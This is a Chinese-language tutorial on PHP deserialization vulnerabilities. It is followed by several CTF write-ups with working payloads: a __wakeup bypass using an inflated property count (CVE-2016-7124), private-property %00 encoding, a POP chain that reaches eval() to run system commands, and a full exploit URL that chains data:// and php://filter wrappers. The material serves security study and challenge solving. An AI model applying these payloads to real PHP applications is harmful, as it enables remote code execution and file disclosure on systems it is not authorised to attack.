一、什么是PHP的反序列化(以下是自己的理解)
在PHP中,为了存储或传递 PHP 的值,同时不丢失其类型和结构,就先将对象进行序列化为字符串,之后再进行传输或存储。那么反序列化就是将对象从字符串还原为对象的过程。
举例
<?php class man{ public $name; public $age; public $height; function __construct($name,$age,$height){ //_construct:创建对象时初始化 $this->name = $name; $this->age = $age; $this->height = $height; } } $man=new man("Bob",5,20); var_dump(serialize($man)); ?>
以上代码是创建了一个man的对象并将其序列化输出,输出结果为
string(67) "O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}"
而要将其进行反序列化,就是下面,把对象从字符串转化为对象的过程
<?php class man{ public $name; public $age; public $height; function __construct($name,$age,$height){ $this->name = $name; $this->age = $age; $this->height = $height; } } $man= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}'; var_dump(unserialize($man)); ?>
输出结果为
object(man)#1 (3) { ["name"]=> string(3) "Bob" ["age"]=> int(5) ["height"]=> int(20) }
以上就是PHP序列化和反序列化的例子
PHP反序列化漏洞
PHP的反序列化漏洞需要两个条件
- unserialize()函数的参数可控
- php中有可以利用的类并且类中有魔幻函数
而PHP的魔幻函数有
_construct():创建对象时初始化 _destruction():结束时销毁对象 _toString():对象被当作字符串时使用 _sleep():序列化对象之前调用 _wakeup():反序列化之前调用 _call():调用对象不存在时使用 _get():调用私有属性时使用
CVE-2016-7124,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
举例1:有以下的index.php
<?php class SoFun{ public $file='index.php'; function __destruct(){ if(!empty($this->file)){ if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){ echo "<br>"; show_source(dirname (__FILE__).'/'.$this ->file);} else die('Wrong filename.'); } } function __wakeup(){ $this-> file='index.php'; } public function __toString(){return '' ;}} if (!isset($_GET['file'])){ show_source('index.php'); } else { $file = $_GET['file']; echo unserialize($file); } ?> <!--key in flag.php-->
_wakeup()函数中将file变量初始化为index.php,我们要将其改为flag.php
构造序列化对象:O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";}
反序列化后为
__PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => SoFun [file] => flag.php )
构造绕过__wakeup,也就是将对象属性个数加一改为:O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}
举例2:极客大挑战2019 PHP

根据提示知道这个题目录中有网站源码,直接盲猜一波www.zip,真就下载下来了,看了一眼源码,发现flag.php,但是里面内容不是flag(也不会这么简单),看一下class.php和index.php
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
审计代码得知想得到flag必须让username=admin,password=100,可是_wakeup()会把username初始化为guest,所以又要用到PHP反序列化漏洞了。
先构造初始payload:
<?php class Name { private $username = 'admin'; private $password = '100'; } $a = new Name(); echo urlencode(serialize($a));#进行url编码, ?>
得到“payload”,为了方便看下面给出URL编码前的payload
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
因为这里是GET传参,并且password和username是私有变量,前面会有空白符%00,为了防止%00对应的不可打印字符在复制时丢失,所以要URL编码或者在私有变量前面加上%00
并且这里的“payload”还得把2改成3才能触发反序列化漏洞,于是修改2为3,得到真-payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

最后,来做一下校平台新生赛的反序列化题,当时PHP零基础,只会用,那必然是没做出来,现在做也算是弥补了一个遗憾
启动环境,得到高亮的PHP代码
<?php error_reporting(0); highlight_file(__FILE__); class NynuSecUser{ private $pwd='one'; private $rainy = 'getFlag'; public function __construct(){ $this->rainy=new Flag(); } public function __destruct(){ if($this->pwd=='two') { $this->rainy->getFlag(); }else{ echo "hhhhh"; } } } class Flag{ private $flag='hahhhhhhh'; public function getFlag(){ return $this->flag; } } class WeiShen{ private $cmd; public function __call($method,$cmd){ eval($this->cmd); } } unserialize(base64_decode($_GET['cmd']));
代码审计,GET传入了一个参数cmd,先base64解码,后反序列化
这里发现两个彩蛋,WeiShen和Rainy
思考了很久才想清楚逻辑,里面可以利用的函数只有WeiShen里面的_call()里面的eval()代码执行函数,所以要想办法执行到这里,参考上面魔法函数说明,_call函数是当访问的对象不存在在的时候会执行。
再次审计代码,NynusecUser类的_destruct()里面,当pwd="two"的时候,就会执行
执行脚本如下,cmd里面是执行的命令
<?php class NynuSecUser{ private $pwd='two'; private $rainy = 'getFlag'; public function __construct(){ $this->rainy=new WeiShen(); } } class WeiShen{ public function __construct(){ $this->cmd='echo system("ls");'; } } $exp=new NynuSecUser(); echo serialize($exp); echo '</br>'; echo base64_encode(serialize($exp)); ?>
先ls一下试试

执行指令改成cat flag.php 执行 ,flag在源码里

例题2:[ZJCTF 2019]NiZhuanSiWei
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
第一个是利用data协议绕过将welcome to the zjctf写入,而data://协议允许读入
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二个是文件包含,但是正则匹配过滤了flag,所以无法直接读取flag.php的内容,但后面提示了useless.php,就使用fliter伪协议去读取一下useless.php的内容
file=php://filter/read=convert.base64-encode/resource=useless.php
得到useless.php的内容
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
第三个是将password反序列化并且echo出来。这里又是一个file_get_contents函数去读取$file,所以就先包含useless.php,然后反序列化下面的对象并且执行应该就可以得到flag
class Flag{ public function __construct(){ $this->file='flag.php'; } }
所以最终的Payload为
http://8504611b-2919-4d9e-8cf9-9ebf05968ab2.node4.buuoj.cn:81?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

老套路了,flag还是在源码里
